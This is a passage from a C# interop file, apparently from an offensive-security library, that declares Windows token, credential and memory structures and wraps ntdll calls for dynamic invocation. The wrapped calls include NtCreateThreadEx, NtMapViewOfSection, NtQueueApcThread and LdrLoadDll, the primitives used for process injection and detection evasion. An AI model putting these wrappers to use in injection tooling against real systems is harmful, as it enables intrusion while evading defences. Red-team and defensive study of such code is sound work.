2126 | SERVICE_ERROR_NORMAL = 0x00000001,
2127 | SERVICE_ERROR_SEVERE = 0x00000002,
2128 | SERVICE_ERROR_CRITICAL = 0x00000003,
2129 | }
2130 | }
2131 |
2132 | public static class Dbghelp
2133 | {
2134 | public enum MINIDUMP_TYPE
2135 | {
2136 | MiniDumpNormal = 0x00000000,
2137 | MiniDumpWithDataSegs = 0x00000001,
2138 | MiniDumpWithFullMemory = 0x00000002,
2139 | MiniDumpWithHandleData = 0x00000004,
2140 | MiniDumpFilterMemory = 0x00000008,
2141 | MiniDumpScanMemory = 0x00000010,
2142 | MiniDumpWithUnloadedModules = 0x00000020,
2143 | MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
2144 | MiniDumpFilterModulePaths = 0x00000080,
2145 | MiniDumpWithProcessThreadData = 0x00000100,
2146 | MiniDumpWithPrivateReadWriteMemory = 0x00000200,
2147 | MiniDumpWithoutOptionalData = 0x00000400,
2148 | MiniDumpWithFullMemoryInfo = 0x00000800,
2149 | MiniDumpWithThreadInfo = 0x00001000,
2150 | MiniDumpWithCodeSegs = 0x00002000,
2151 | MiniDumpWithoutAuxiliaryState = 0x00004000,
2152 | MiniDumpWithFullAuxiliaryState = 0x00008000,
2153 | MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
2154 | MiniDumpIgnoreInaccessibleMemory = 0x00020000,
2155 | MiniDumpWithTokenInformation = 0x00040000,
2156 | MiniDumpWithModuleHeaders = 0x00080000,
2157 | MiniDumpFilterTriage = 0x00100000,
2158 | MiniDumpValidTypeFlags = 0x001fffff
2159 | }
2160 | }
2161 |
2162 | public class WinBase
2163 | {
2164 | [StructLayout(LayoutKind.Sequential)]
2165 | public struct _SYSTEM_INFO
2166 | {
2167 | public UInt16 wProcessorArchitecture;
2168 | public UInt16 wReserved;
2169 | public UInt32 dwPageSize;
2170 | public IntPtr lpMinimumApplicationAddress;
2171 | public IntPtr lpMaximumApplicationAddress;
2172 | public IntPtr dwActiveProcessorMask;
2173 | public UInt32 dwNumberOfProcessors;
2174 | public UInt32 dwProcessorType;
2175 | public UInt32 dwAllocationGranularity;
2176 | public UInt16 wProcessorLevel;
2177 | public UInt16 wProcessorRevision;
2178 | }
2179 |
2180 | [StructLayout(LayoutKind.Sequential)]
2181 | public struct _SECURITY_ATTRIBUTES
2182 | {
2183 | UInt32 nLength;
2184 | IntPtr lpSecurityDescriptor;
2185 | Boolean bInheritHandle;
2186 | };
2187 | }
2188 |
2189 | public class WinNT
2190 | {
2191 | public const UInt32 PAGE_NOACCESS = 0x01;
2192 | public const UInt32 PAGE_READONLY = 0x02;
2193 | public const UInt32 PAGE_READWRITE = 0x04;
2194 | public const UInt32 PAGE_WRITECOPY = 0x08;
2195 | public const UInt32 PAGE_EXECUTE = 0x10;
2196 | public const UInt32 PAGE_EXECUTE_READ = 0x20;
2197 | public const UInt32 PAGE_EXECUTE_READWRITE = 0x40;
2198 | public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80;
2199 | public const UInt32 PAGE_GUARD = 0x100;
2200 | public const UInt32 PAGE_NOCACHE = 0x200;
2201 | public const UInt32 PAGE_WRITECOMBINE = 0x400;
2202 | public const UInt32 PAGE_TARGETS_INVALID = 0x40000000;
2203 | public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000;
2204 |
2205 | public const UInt32 SEC_COMMIT = 0x08000000;
2206 | public const UInt32 SEC_IMAGE = 0x1000000;
2207 | public const UInt32 SEC_IMAGE_NO_EXECUTE = 0x11000000;
2208 | public const UInt32 SEC_LARGE_PAGES = 0x80000000;
2209 | public const UInt32 SEC_NOCACHE = 0x10000000;
2210 | public const UInt32 SEC_RESERVE = 0x4000000;
2211 | public const UInt32 SEC_WRITECOMBINE = 0x40000000;
2212 |
2213 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
2214 | public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1;
2215 | public const UInt32 SE_PRIVILEGE_REMOVED = 0x4;
2216 | public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3;
2217 |
2218 | public const UInt64 SE_GROUP_ENABLED = 0x00000004L;
2219 | public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L;
2220 | public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L;
2221 | public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020;
2222 | public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L;
2223 | public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L;
2224 | public const UInt64 SE_GROUP_MANDATORY = 0x00000001L;
2225 | public const UInt64 SE_GROUP_OWNER = 0x00000008L;
2226 | public const UInt64 SE_GROUP_RESOURCE = 0x20000000L;
2227 | public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L;
2228 |
2229 | public enum _SECURITY_IMPERSONATION_LEVEL
2230 | {
2231 | SecurityAnonymous,
2232 | SecurityIdentification,
2233 | SecurityImpersonation,
2234 | SecurityDelegation
2235 | }
2236 |
2237 | public enum TOKEN_TYPE
2238 | {
2239 | TokenPrimary = 1,
2240 | TokenImpersonation
2241 | }
2242 |
2243 | public enum _TOKEN_ELEVATION_TYPE
2244 | {
2245 | TokenElevationTypeDefault = 1,
2246 | TokenElevationTypeFull,
2247 | TokenElevationTypeLimited
2248 | }
2249 |
2250 | [StructLayout(LayoutKind.Sequential)]
2251 | public struct _MEMORY_BASIC_INFORMATION32
2252 | {
2253 | public UInt32 BaseAddress;
2254 | public UInt32 AllocationBase;
2255 | public UInt32 AllocationProtect;
2256 | public UInt32 RegionSize;
2257 | public UInt32 State;
2258 | public UInt32 Protect;
2259 | public UInt32 Type;
2260 | }
2261 |
2262 | [StructLayout(LayoutKind.Sequential)]
2263 | public struct _MEMORY_BASIC_INFORMATION64
2264 | {
2265 | public UInt64 BaseAddress;
2266 | public UInt64 AllocationBase;
2267 | public UInt32 AllocationProtect;
2268 | public UInt32 __alignment1;
2269 | public UInt64 RegionSize;
2270 | public UInt32 State;
2271 | public UInt32 Protect;
2272 | public UInt32 Type;
2273 | public UInt32 __alignment2;
2274 | }
2275 |
2276 | [StructLayout(LayoutKind.Sequential)]
2277 | public struct _LUID_AND_ATTRIBUTES
2278 | {
2279 | public _LUID Luid;
2280 | public UInt32 Attributes;
2281 | }
2282 |
2283 | [StructLayout(LayoutKind.Sequential)]
2284 | public struct _LUID
2285 | {
2286 | public UInt32 LowPart;
2287 | public UInt32 HighPart;
2288 | }
2289 |
2290 | [StructLayout(LayoutKind.Sequential)]
2291 | public struct _TOKEN_STATISTICS
2292 | {
2293 | public _LUID TokenId;
2294 | public _LUID AuthenticationId;
2295 | public UInt64 ExpirationTime;
2296 | public TOKEN_TYPE TokenType;
2297 | public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
2298 | public UInt32 DynamicCharged;
2299 | public UInt32 DynamicAvailable;
2300 | public UInt32 GroupCount;
2301 | public UInt32 PrivilegeCount;
2302 | public _LUID ModifiedId;
2303 | }
2304 |
2305 | [StructLayout(LayoutKind.Sequential)]
2306 | public struct _TOKEN_PRIVILEGES
2307 | {
2308 | public UInt32 PrivilegeCount;
2309 | public _LUID_AND_ATTRIBUTES Privileges;
2310 | }
2311 |
2312 | [StructLayout(LayoutKind.Sequential)]
2313 | public struct _TOKEN_MANDATORY_LABEL
2314 | {
2315 | public _SID_AND_ATTRIBUTES Label;
2316 | }
2317 |
2318 | public struct _SID
2319 | {
2320 | public byte Revision;
2321 | public byte SubAuthorityCount;
2322 | public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
2323 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
2324 | public ulong[] SubAuthority;
2325 | }
2326 |
2327 | [StructLayout(LayoutKind.Sequential)]
2328 | public struct _SID_IDENTIFIER_AUTHORITY
2329 | {
2330 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)]
2331 | public byte[] Value;
2332 | }
2333 |
2334 | [StructLayout(LayoutKind.Sequential)]
2335 | public struct _SID_AND_ATTRIBUTES
2336 | {
2337 | public IntPtr Sid;
2338 | public UInt32 Attributes;
2339 | }
2340 |
2341 | [StructLayout(LayoutKind.Sequential)]
2342 | public struct _PRIVILEGE_SET
2343 | {
2344 | public UInt32 PrivilegeCount;
2345 | public UInt32 Control;
2346 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
2347 | public _LUID_AND_ATTRIBUTES[] Privilege;
2348 | }
2349 |
2350 | [StructLayout(LayoutKind.Sequential)]
2351 | public struct _TOKEN_USER
2352 | {
2353 | public _SID_AND_ATTRIBUTES User;
2354 | }
2355 |
2356 | public enum _SID_NAME_USE
2357 | {
2358 | SidTypeUser = 1,
2359 | SidTypeGroup,
2360 | SidTypeDomain,
2361 | SidTypeAlias,
2362 | SidTypeWellKnownGroup,
2363 | SidTypeDeletedAccount,
2364 | SidTypeInvalid,
2365 | SidTypeUnknown,
2366 | SidTypeComputer,
2367 | SidTypeLabel
2368 | }
2369 |
2370 | public enum _TOKEN_INFORMATION_CLASS
2371 | {
2372 | TokenUser = 1,
2373 | TokenGroups,
2374 | TokenPrivileges,
2375 | TokenOwner,
2376 | TokenPrimaryGroup,
2377 | TokenDefaultDacl,
2378 | TokenSource,
2379 | TokenType,
2380 | TokenImpersonationLevel,
2381 | TokenStatistics,
2382 | TokenRestrictedSids,
2383 | TokenSessionId,
2384 | TokenGroupsAndPrivileges,
2385 | TokenSessionReference,
2386 | TokenSandBoxInert,
2387 | TokenAuditPolicy,
2388 | TokenOrigin,
2389 | TokenElevationType,
2390 | TokenLinkedToken,
2391 | TokenElevation,
2392 | TokenHasRestrictions,
2393 | TokenAccessInformation,
2394 | TokenVirtualizationAllowed,
2395 | TokenVirtualizationEnabled,
2396 | TokenIntegrityLevel,
2397 | TokenUIAccess,
2398 | TokenMandatoryPolicy,
2399 | TokenLogonSid,
2400 | TokenIsAppContainer,
2401 | TokenCapabilities,
2402 | TokenAppContainerSid,
2403 | TokenAppContainerNumber,
2404 | TokenUserClaimAttributes,
2405 | TokenDeviceClaimAttributes,
2406 | TokenRestrictedUserClaimAttributes,
2407 | TokenRestrictedDeviceClaimAttributes,
2408 | TokenDeviceGroups,
2409 | TokenRestrictedDeviceGroups,
2410 | TokenSecurityAttributes,
2411 | TokenIsRestricted,
2412 | MaxTokenInfoClass
2413 | }
2414 |
2415 | // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK
2416 | [Flags]
2417 | public enum ACCESS_MASK : uint
2418 | {
2419 | DELETE = 0x00010000,
2420 | READ_CONTROL = 0x00020000,
2421 | WRITE_DAC = 0x00040000,
2422 | WRITE_OWNER = 0x00080000,
2423 | SYNCHRONIZE = 0x00100000,
2424 | STANDARD_RIGHTS_REQUIRED = 0x000F0000,
2425 | STANDARD_RIGHTS_READ = 0x00020000,
2426 | STANDARD_RIGHTS_WRITE = 0x00020000,
2427 | STANDARD_RIGHTS_EXECUTE = 0x00020000,
2428 | STANDARD_RIGHTS_ALL = 0x001F0000,
2429 | SPECIFIC_RIGHTS_ALL = 0x0000FFF,
2430 | ACCESS_SYSTEM_SECURITY = 0x01000000,
2431 | MAXIMUM_ALLOWED = 0x02000000,
2432 | GENERIC_READ = 0x80000000,
2433 | GENERIC_WRITE = 0x40000000,
2434 | GENERIC_EXECUTE = 0x20000000,
2435 | GENERIC_ALL = 0x10000000,
2436 | DESKTOP_READOBJECTS = 0x00000001,
2437 | DESKTOP_CREATEWINDOW = 0x00000002,
2438 | DESKTOP_CREATEMENU = 0x00000004,
2439 | DESKTOP_HOOKCONTROL = 0x00000008,
2440 | DESKTOP_JOURNALRECORD = 0x00000010,
2441 | DESKTOP_JOURNALPLAYBACK = 0x00000020,
2442 | DESKTOP_ENUMERATE = 0x00000040,
2443 | DESKTOP_WRITEOBJECTS = 0x00000080,
2444 | DESKTOP_SWITCHDESKTOP = 0x00000100,
2445 | WINSTA_ENUMDESKTOPS = 0x00000001,
2446 | WINSTA_READATTRIBUTES = 0x00000002,
2447 | WINSTA_ACCESSCLIPBOARD = 0x00000004,
2448 | WINSTA_CREATEDESKTOP = 0x00000008,
2449 | WINSTA_WRITEATTRIBUTES = 0x00000010,
2450 | WINSTA_ACCESSGLOBALATOMS = 0x00000020,
2451 | WINSTA_EXITWINDOWS = 0x00000040,
2452 | WINSTA_ENUMERATE = 0x00000100,
2453 | WINSTA_READSCREEN = 0x00000200,
2454 | WINSTA_ALL_ACCESS = 0x0000037F,
2455 |
2456 | SECTION_ALL_ACCESS = 0x10000000,
2457 | SECTION_QUERY = 0x0001,
2458 | SECTION_MAP_WRITE = 0x0002,
2459 | SECTION_MAP_READ = 0x0004,
2460 | SECTION_MAP_EXECUTE = 0x0008,
2461 | SECTION_EXTEND_SIZE = 0x0010
2462 | };
2463 | }
2464 |
2465 | public class ProcessThreadsAPI
2466 | {
2467 | [Flags]
2468 | internal enum STARTF : uint
2469 | {
2470 | STARTF_USESHOWWINDOW = 0x00000001,
2471 | STARTF_USESIZE = 0x00000002,
2472 | STARTF_USEPOSITION = 0x00000004,
2473 | STARTF_USECOUNTCHARS = 0x00000008,
2474 | STARTF_USEFILLATTRIBUTE = 0x00000010,
2475 | STARTF_RUNFULLSCREEN = 0x00000020,
2476 | STARTF_FORCEONFEEDBACK = 0x00000040,
2477 | STARTF_FORCEOFFFEEDBACK = 0x00000080,
2478 | STARTF_USESTDHANDLES = 0x00000100,
2479 | }
2480 |
2481 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
2482 | [StructLayout(LayoutKind.Sequential)]
2483 | public struct _STARTUPINFO
2484 | {
2485 | public UInt32 cb;
2486 | public String lpReserved;
2487 | public String lpDesktop;
2488 | public String lpTitle;
2489 | public UInt32 dwX;
2490 | public UInt32 dwY;
2491 | public UInt32 dwXSize;
2492 | public UInt32 dwYSize;
2493 | public UInt32 dwXCountChars;
2494 | public UInt32 dwYCountChars;
2495 | public UInt32 dwFillAttribute;
2496 | public UInt32 dwFlags;
2497 | public UInt16 wShowWindow;
2498 | public UInt16 cbReserved2;
2499 | public IntPtr lpReserved2;
2500 | public IntPtr hStdInput;
2501 | public IntPtr hStdOutput;
2502 | public IntPtr hStdError;
2503 | };
2504 |
2505 | //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
2506 | [StructLayout(LayoutKind.Sequential)]
2507 | public struct _STARTUPINFOEX
2508 | {
2509 | _STARTUPINFO StartupInfo;
2510 | // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
2511 | };
2512 |
2513 | //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
2514 | [StructLayout(LayoutKind.Sequential)]
2515 | public struct _PROCESS_INFORMATION
2516 | {
2517 | public IntPtr hProcess;
2518 | public IntPtr hThread;
2519 | public UInt32 dwProcessId;
2520 | public UInt32 dwThreadId;
2521 | };
2522 | }
2523 |
2524 | public class WinCred
2525 | {
2526 | #pragma warning disable 0618
2527 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
2528 | public struct _CREDENTIAL
2529 | {
2530 | public CRED_FLAGS Flags;
2531 | public UInt32 Type;
2532 | public IntPtr TargetName;
2533 | public IntPtr Comment;
2534 | public FILETIME LastWritten;
2535 | public UInt32 CredentialBlobSize;
2536 | public UInt32 Persist;
2537 | public UInt32 AttributeCount;
2538 | public IntPtr Attributes;
2539 | public IntPtr TargetAlias;
2540 | public IntPtr UserName;
2541 | }
2542 | #pragma warning restore 0618
2543 |
2544 | public enum CRED_FLAGS : uint
2545 | {
2546 | NONE = 0x0,
2547 | PROMPT_NOW = 0x2,
2548 | USERNAME_TARGET = 0x4
2549 | }
2550 |
2551 | public enum CRED_PERSIST : uint
2552 | {
2553 | Session = 1,
2554 | LocalMachine,
2555 | Enterprise
2556 | }
2557 |
2558 | public enum CRED_TYPE : uint
2559 | {
2560 | Generic = 1,
2561 | DomainPassword,
2562 | DomainCertificate,
2563 | DomainVisiblePassword,
2564 | GenericCertificate,
2565 | DomainExtended,
2566 | Maximum,
2567 | MaximumEx = Maximum + 1000,
2568 | }
2569 | }
2570 |
2571 | public class Secur32
2572 | {
2573 | public struct _SECURITY_LOGON_SESSION_DATA
2574 | {
2575 | public UInt32 Size;
2576 | public WinNT._LUID LoginID;
2577 | public _LSA_UNICODE_STRING Username;
2578 | public _LSA_UNICODE_STRING LoginDomain;
2579 | public _LSA_UNICODE_STRING AuthenticationPackage;
2580 | public UInt32 LogonType;
2581 | public UInt32 Session;
2582 | public IntPtr pSid;
2583 | public UInt64 LoginTime;
2584 | public _LSA_UNICODE_STRING LogonServer;
2585 | public _LSA_UNICODE_STRING DnsDomainName;
2586 | public _LSA_UNICODE_STRING Upn;
2587 | }
2588 |
2589 | [StructLayout(LayoutKind.Sequential)]
2590 | public struct _LSA_UNICODE_STRING
2591 | {
2592 | public UInt16 Length;
2593 | public UInt16 MaximumLength;
2594 | public IntPtr Buffer;
2595 | }
2596 | }
2597 | }
2598 |
2599 |
2600 | public class DynamicNative
2601 | {
2602 | public static Native.NTSTATUS NtCreateThreadEx(
2603 | ref IntPtr threadHandle,
2604 | Win32.WinNT.ACCESS_MASK desiredAccess,
2605 | IntPtr objectAttributes,
2606 | IntPtr processHandle,
2607 | IntPtr startAddress,
2608 | IntPtr parameter,
2609 | bool createSuspended,
2610 | int stackZeroBits,
2611 | int sizeOfStack,
2612 | int maximumStackSize,
2613 | IntPtr attributeList)
2614 | {
2615 | // Craft an array for the arguments
2616 | object[] funcargs =
2617 | {
2618 | threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,
2619 | sizeOfStack, maximumStackSize, attributeList
2620 | };
2621 |
2622 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx",
2623 | typeof(DELEGATES.NtCreateThreadEx), ref funcargs);
2624 |
2625 | // Update the modified variables
2626 | threadHandle = (IntPtr)funcargs[0];
2627 |
2628 | return retValue;
2629 | }
2630 |
2631 | public static Native.NTSTATUS RtlCreateUserThread(
2632 | IntPtr Process,
2633 | IntPtr ThreadSecurityDescriptor,
2634 | bool CreateSuspended,
2635 | IntPtr ZeroBits,
2636 | IntPtr MaximumStackSize,
2637 | IntPtr CommittedStackSize,
2638 | IntPtr StartAddress,
2639 | IntPtr Parameter,
2640 | ref IntPtr Thread,
2641 | IntPtr ClientId)
2642 | {
2643 | // Craft an array for the arguments
2644 | object[] funcargs =
2645 | {
2646 | Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits,
2647 | MaximumStackSize, CommittedStackSize, StartAddress, Parameter,
2648 | Thread, ClientId
2649 | };
2650 |
2651 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread",
2652 | typeof(DELEGATES.RtlCreateUserThread), ref funcargs);
2653 |
2654 | // Update the modified variables
2655 | Thread = (IntPtr)funcargs[8];
2656 |
2657 | return retValue;
2658 | }
2659 |
2660 | public static Native.NTSTATUS NtCreateSection(
2661 | ref IntPtr SectionHandle,
2662 | uint DesiredAccess,
2663 | IntPtr ObjectAttributes,
2664 | ref ulong MaximumSize,
2665 | uint SectionPageProtection,
2666 | uint AllocationAttributes,
2667 | IntPtr FileHandle)
2668 | {
2669 |
2670 | // Craft an array for the arguments
2671 | object[] funcargs =
2672 | {
2673 | SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle
2674 | };
2675 |
2676 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs);
2677 | if (retValue != Native.NTSTATUS.Success)
2678 | {
2679 | throw new InvalidOperationException("Unable to create section, " + retValue);
2680 | }
2681 |
2682 | // Update the modified variables
2683 | SectionHandle = (IntPtr)funcargs[0];
2684 | MaximumSize = (ulong)funcargs[3];
2685 |
2686 | return retValue;
2687 | }
2688 |
2689 | public static Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr)
2690 | {
2691 | // Craft an array for the arguments
2692 | object[] funcargs =
2693 | {
2694 | hProc, baseAddr
2695 | };
2696 |
2697 | Native.NTSTATUS result = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection",
2698 | typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs);
2699 |
2700 | return result;
2701 | }
2702 |
2703 | public static Native.NTSTATUS NtMapViewOfSection(
2704 | IntPtr SectionHandle,
2705 | IntPtr ProcessHandle,
2706 | ref IntPtr BaseAddress,
2707 | IntPtr ZeroBits,
2708 | IntPtr CommitSize,
2709 | IntPtr SectionOffset,
2710 | ref ulong ViewSize,
2711 | uint InheritDisposition,
2712 | uint AllocationType,
2713 | uint Win32Protect)
2714 | {
2715 |
2716 | // Craft an array for the arguments
2717 | object[] funcargs =
2718 | {
2719 | SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType,
2720 | Win32Protect
2721 | };
2722 |
2723 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);
2724 | if (retValue != Native.NTSTATUS.Success && retValue != Native.NTSTATUS.ImageNotAtBase)
2725 | {
2726 | throw new InvalidOperationException("Unable to map view of section, " + retValue);
2727 | }
2728 |
2729 | // Update the modified variables.
2730 | BaseAddress = (IntPtr)funcargs[2];
2731 | ViewSize = (ulong)funcargs[6];
2732 |
2733 | return retValue;
2734 | }
2735 |
2736 | public static void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
2737 | {
2738 | // Craft an array for the arguments
2739 | object[] funcargs =
2740 | {
2741 | DestinationString, SourceString
2742 | };
2743 |
2744 | DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
2745 |
2746 | // Update the modified variables
2747 | DestinationString = (Native.UNICODE_STRING)funcargs[0];
2748 | }
2749 |
2750 | public static Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
2751 | {
2752 | // Craft an array for the arguments
2753 | object[] funcargs =
2754 | {
2755 | PathToFile, dwFlags, ModuleFileName, ModuleHandle
2756 | };
2757 |
2758 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);
2759 |
2760 | // Update the modified variables
2761 | ModuleHandle = (IntPtr)funcargs[3];
2762 |
2763 | return retValue;
2764 | }
2765 |
2766 | public static void RtlZeroMemory(IntPtr Destination, int Length)
2767 | {
2768 | // Craft an array for the arguments
2769 | object[] funcargs =
2770 | {
2771 | Destination, Length
2772 | };
2773 |
2774 | DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs);
2775 | }
2776 |
2777 | public static Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
2778 | {
2779 | int processInformationLength;
2780 | UInt32 RetLen = 0;
2781 |
2782 | switch (processInfoClass)
2783 | {
2784 | case Native.PROCESSINFOCLASS.ProcessWow64Information:
2785 | pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);
2786 | RtlZeroMemory(pProcInfo, IntPtr.Size);
2787 | processInformationLength = IntPtr.Size;
2788 | break;
2789 | case Native.PROCESSINFOCLASS.ProcessBasicInformation:
2790 | Native.PROCESS_BASIC_INFORMATION PBI = new Native.PROCESS_BASIC_INFORMATION();
2791 | pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));
2792 | RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));
2793 | Marshal.StructureToPtr(PBI, pProcInfo, true);
2794 | processInformationLength = Marshal.SizeOf(PBI);
2795 | break;
2796 | default:
2797 | throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
2798 | }
2799 |
2800 | object[] funcargs =
2801 | {
2802 | hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen
2803 | };
2804 |
2805 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs);
2806 | if (retValue != Native.NTSTATUS.Success)
2807 | {
2808 | throw new UnauthorizedAccessException("Access is denied.");
2809 | }
2810 |
2811 | // Update the modified variables
2812 | pProcInfo = (IntPtr)funcargs[2];
2813 |
2814 | return retValue;
2815 | }
2816 |
2817 | public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)
2818 | {
2819 | Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);
2820 | if (retValue != Native.NTSTATUS.Success)
2821 | {
2822 | throw new UnauthorizedAccessException("Access is denied.");
2823 | }
2824 |
2825 | if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
2826 | {
2827 | return false;
2828 | }
2829 | return true;
2830 | }
2831 |
2832 | public static Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)
2833 | {
2834 | Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo);
2835 | if (retValue != Native.NTSTATUS.Success)
2836 | {
2837 | throw new UnauthorizedAccessException("Access is denied.");
2838 | }
2839 |
2840 | return (Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Native.PROCESS_BASIC_INFORMATION));
2841 | }
2842 |
2843 | public static IntPtr NtOpenProcess(UInt32 ProcessId, Win32.Kernel32.ProcessAccessFlags DesiredAccess)
2844 | {
2845 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
2846 | IntPtr ProcessHandle = IntPtr.Zero;
2847 | Native.OBJECT_ATTRIBUTES oa = new Native.OBJECT_ATTRIBUTES();
2848 | Native.CLIENT_ID ci = new Native.CLIENT_ID();
2849 | ci.UniqueProcess = (IntPtr)ProcessId;
2850 |
2851 | // Craft an array for the arguments
2852 | object[] funcargs =
2853 | {
2854 | ProcessHandle, DesiredAccess, oa, ci
2855 | };
2856 |
2857 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs);
2858 | if (retValue != Native.NTSTATUS.Success && retValue == Native.NTSTATUS.InvalidCid)
2859 | {
2860 | throw new InvalidOperationException("An invalid client ID was specified.");
2861 | }
2862 | if (retValue != Native.NTSTATUS.Success)
2863 | {
2864 | throw new UnauthorizedAccessException("Access is denied.");
2865 | }
2866 |
2867 | // Update the modified variables
2868 | ProcessHandle = (IntPtr)funcargs[0];
2869 |
2870 | return ProcessHandle;
2871 | }
2872 |
2873 | public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)
2874 | {
2875 | // Craft an array for the arguments
2876 | object[] funcargs =
2877 | {
2878 | ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3
2879 | };
2880 |
2881 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs);
2882 | if (retValue != Native.NTSTATUS.Success)
2883 | {
2884 | throw new InvalidOperationException("Unable to queue APC, " + retValue);
2885 | }
2886 | }
2887 |
2888 | public static IntPtr NtOpenThread(int TID, Win32.Kernel32.ThreadAccess DesiredAccess)
2889 | {
2890 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
2891 | IntPtr ThreadHandle = IntPtr.Zero;
2892 | Native.OBJECT_ATTRIBUTES oa = new Native.OBJECT_ATTRIBUTES();
2893 | Native.CLIENT_ID ci = new Native.CLIENT_ID();
2894 | ci.UniqueThread = (IntPtr)TID;
2895 |
2896 | // Craft an array for the arguments
2897 | object[] funcargs =
2898 | {
2899 | ThreadHandle, DesiredAccess, oa, ci
2900 | };
2901 |
2902 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs);
2903 | if (retValue != Native.NTSTATUS.Success && retValue == Native.NTSTATUS.InvalidCid)
2904 | {
2905 | throw new InvalidOperationException("An invalid client ID was specified.");
2906 | }
2907 | if (retValue != Native.NTSTATUS.Success)
2908 | {
2909 | throw new UnauthorizedAccessException("Access is denied.");
2910 | }
2911 |
2912 | // Update the modified variables
2913 | ThreadHandle = (IntPtr)funcargs[0];
2914 |
2915 | return ThreadHandle;
2916 | }
2917 |
